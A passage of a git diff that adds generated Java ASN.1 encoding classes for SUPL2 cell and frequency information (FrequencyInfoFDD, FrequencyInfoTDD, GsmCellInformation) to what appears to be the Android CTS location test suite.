+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class FrequencyInfoFDD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_FrequencyInfoFDD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FrequencyInfoFDD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FrequencyInfoFDD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FrequencyInfoFDD != null) {
+ return ImmutableList.of(TAG_FrequencyInfoFDD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new FrequencyInfoFDD from encoded stream.
+ */
+ public static FrequencyInfoFDD fromPerUnaligned(byte[] encodedBytes) {
+ FrequencyInfoFDD result = new FrequencyInfoFDD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FrequencyInfoFDD from encoded stream.
+ */
+ public static FrequencyInfoFDD fromPerAligned(byte[] encodedBytes) {
+ FrequencyInfoFDD result = new FrequencyInfoFDD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UARFCN uarfcn_UL_;
+ public UARFCN getUarfcn_UL() {
+ return uarfcn_UL_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UARFCN
+ */
+ public void setUarfcn_UL(Asn1Object value) {
+ this.uarfcn_UL_ = (UARFCN) value;
+ }
+ public UARFCN setUarfcn_ULToNewInstance() {
+ uarfcn_UL_ = new UARFCN();
+ return uarfcn_UL_;
+ }
+
+ private UARFCN uarfcn_DL_;
+ public UARFCN getUarfcn_DL() {
+ return uarfcn_DL_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UARFCN
+ */
+ public void setUarfcn_DL(Asn1Object value) {
+ this.uarfcn_DL_ = (UARFCN) value;
+ }
+ public UARFCN setUarfcn_DLToNewInstance() {
+ uarfcn_DL_ = new UARFCN();
+ return uarfcn_DL_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUarfcn_UL() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUarfcn_UL();
+ }
+
+ @Override public void setToNewInstance() {
+ setUarfcn_ULToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UARFCN.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uarfcn_UL : "
+ + getUarfcn_UL().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUarfcn_DL() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUarfcn_DL();
+ }
+
+ @Override public void setToNewInstance() {
+ setUarfcn_DLToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UARFCN.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uarfcn_DL : "
+ + getUarfcn_DL().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("FrequencyInfoFDD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoTDD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoTDD.java
new file mode 100755
index 0000000..0f00b6b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoTDD.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class FrequencyInfoTDD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_FrequencyInfoTDD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FrequencyInfoTDD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FrequencyInfoTDD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FrequencyInfoTDD != null) {
+ return ImmutableList.of(TAG_FrequencyInfoTDD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new FrequencyInfoTDD from encoded stream.
+ */
+ public static FrequencyInfoTDD fromPerUnaligned(byte[] encodedBytes) {
+ FrequencyInfoTDD result = new FrequencyInfoTDD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FrequencyInfoTDD from encoded stream.
+ */
+ public static FrequencyInfoTDD fromPerAligned(byte[] encodedBytes) {
+ FrequencyInfoTDD result = new FrequencyInfoTDD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UARFCN uarfcn_Nt_;
+ public UARFCN getUarfcn_Nt() {
+ return uarfcn_Nt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UARFCN
+ */
+ public void setUarfcn_Nt(Asn1Object value) {
+ this.uarfcn_Nt_ = (UARFCN) value;
+ }
+ public UARFCN setUarfcn_NtToNewInstance() {
+ uarfcn_Nt_ = new UARFCN();
+ return uarfcn_Nt_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUarfcn_Nt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUarfcn_Nt();
+ }
+
+ @Override public void setToNewInstance() {
+ setUarfcn_NtToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UARFCN.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uarfcn_Nt : "
+ + getUarfcn_Nt().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("FrequencyInfoTDD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/GsmCellInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/GsmCellInformation.java
new file mode 100755
index 0000000..58158fe
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/GsmCellInformation.java
@@ -0,0 +1,930 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GsmCellInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GsmCellInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GsmCellInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GsmCellInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GsmCellInformation != null) {
+ return ImmutableList.of(TAG_GsmCellInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GsmCellInformation from encoded stream.
+ */
+ public static GsmCellInformation fromPerUnaligned(byte[] encodedBytes) {
+ GsmCellInformation result = new GsmCellInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GsmCellInformation from encoded stream.
+ */
+ public static GsmCellInformation fromPerAligned(byte[] encodedBytes) {
+ GsmCellInformation result = new GsmCellInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GsmCellInformation.refMCCType refMCC_;
+ public GsmCellInformation.refMCCType getRefMCC() {
+ return refMCC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GsmCellInformation.refMCCType
+ */
+ public void setRefMCC(Asn1Object value) {
+ this.refMCC_ = (GsmCellInformation.refMCCType) value;
+ }
+ public GsmCellInformation.refMCCType setRefMCCToNewInstance() {
+ refMCC_ = new GsmCellInformation.refMCCType();
+ return refMCC_;
+ }
+
+ private GsmCellInformation.refMNCType refMNC_;
+ public GsmCellInformation.refMNCType getRefMNC() {
+ return refMNC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GsmCellInformation.refMNCType
+ */
+ public void setRefMNC(Asn1Object value) {
+ this.refMNC_ = (GsmCellInformation.refMNCType) value;
+ }
+ public GsmCellInformation.refMNCType setRefMNCToNewInstance() {
+ refMNC_ = new GsmCellInformation.refMNCType();
+ return refMNC_;
+ }
+
+ private GsmCellInformation.refLACType refLAC_;
+ public GsmCellInformation.refLACType getRefLAC() {
+ return refLAC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GsmCellInformation.refLACType
+ */
+ public void setRefLAC(Asn1Object value) {
+ this.refLAC_ = (GsmCellInformation.refLACType) value;
+ }
+ public GsmCellInformation.refLACType setRefLACToNewInstance() {
+ refLAC_ = new GsmCellInformation.refLACType();
+ return refLAC_;
+ }
+
+ private GsmCellInformation.refCIType refCI_;
+ public GsmCellInformation.refCIType getRefCI() {
+ return refCI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GsmCellInformation.refCIType
+ */
+ public void setRefCI(Asn1Object value) {
+ this.refCI_ = (GsmCellInformation.refCIType) value;
+ }
+ public GsmCellInformation.refCIType setRefCIToNewInstance() {
+ refCI_ = new GsmCellInformation.refCIType();
+ return refCI_;
+ }
+
+ private NMR nMR_;
+ public NMR getNMR() {
+ return nMR_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NMR
+ */
+ public void setNMR(Asn1Object value) {
+ this.nMR_ = (NMR) value;
+ }
+ public NMR setNMRToNewInstance() {
+ nMR_ = new NMR();
+ return nMR_;
+ }
+
+ private GsmCellInformation.tAType tA_;
+ public GsmCellInformation.tAType getTA() {
+ return tA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GsmCellInformation.tAType
+ */
+ public void setTA(Asn1Object value) {
+ this.tA_ = (GsmCellInformation.tAType) value;
+ }
+ public GsmCellInformation.tAType setTAToNewInstance() {
+ tA_ = new GsmCellInformation.tAType();
+ return tA_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMCC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMCC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMCCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GsmCellInformation.refMCCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMCC : "
+ + getRefMCC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMNC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMNC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMNCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GsmCellInformation.refMNCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMNC : "
+ + getRefMNC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefLAC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefLAC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefLACToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GsmCellInformation.refLACType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refLAC : "
+ + getRefLAC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefCI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefCI();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefCIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GsmCellInformation.refCIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refCI : "
+ + getRefCI().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getNMR() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNMR();
+ }
+
+ @Override public void setToNewInstance() {
+ setNMRToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NMR.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nMR : "
+ + getNMR().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getTA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTA();
+ }
+
+ @Override public void setToNewInstance() {
+ setTAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GsmCellInformation.tAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tA : "
+ + getTA().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMCCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMCCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMCCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMCCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMCCType != null) {
+ return ImmutableList.of(TAG_refMCCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerUnaligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerAligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMCCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMNCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMNCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMNCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMNCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMNCType != null) {
+ return ImmutableList.of(TAG_refMNCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerUnaligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerAligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMNCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refLACType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refLACType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refLACType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refLACType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refLACType != null) {
+ return ImmutableList.of(TAG_refLACType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refLACType from encoded stream.
+ */
+ public static refLACType fromPerUnaligned(byte[] encodedBytes) {
+ refLACType result = new refLACType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refLACType from encoded stream.
+ */
+ public static refLACType fromPerAligned(byte[] encodedBytes) {
+ refLACType result = new refLACType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refLACType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refCIType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refCIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refCIType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refCIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refCIType != null) {
+ return ImmutableList.of(TAG_refCIType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refCIType from encoded stream.
+ */
+ public static refCIType fromPerUnaligned(byte[] encodedBytes) {
+ refCIType result = new refCIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refCIType from encoded stream.
+ */
+ public static refCIType fromPerAligned(byte[] encodedBytes) {
+ refCIType result = new refCIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
